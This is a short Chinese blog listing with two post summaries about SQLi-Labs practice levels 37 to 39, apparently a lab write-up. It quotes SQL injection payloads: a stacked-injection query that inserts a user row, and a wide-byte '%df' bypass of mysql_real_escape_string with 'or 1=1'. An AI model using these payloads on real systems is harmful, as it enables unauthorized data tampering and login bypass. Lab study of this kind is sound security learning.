摘要：
Less38为堆叠注入，前提是对各个表的列名了解，进而增删改查 ?id=2';insert into users(id,username,password) values('16','zha1o','password') --+ Less39与less38区别在于闭合符号，39无闭合符号 ?id=1 阅读全文
摘要：
Less37与less34注入方式一致，唯一不同点在less37利用mysql_real_escape_string()拦截注入 法1：Bp修改(默认浏览器会将所有能url编码的符号全部编码) uname=123%df'or 1=1#&passwd=&submit=Submit 法2：特殊符号(优先 阅读全文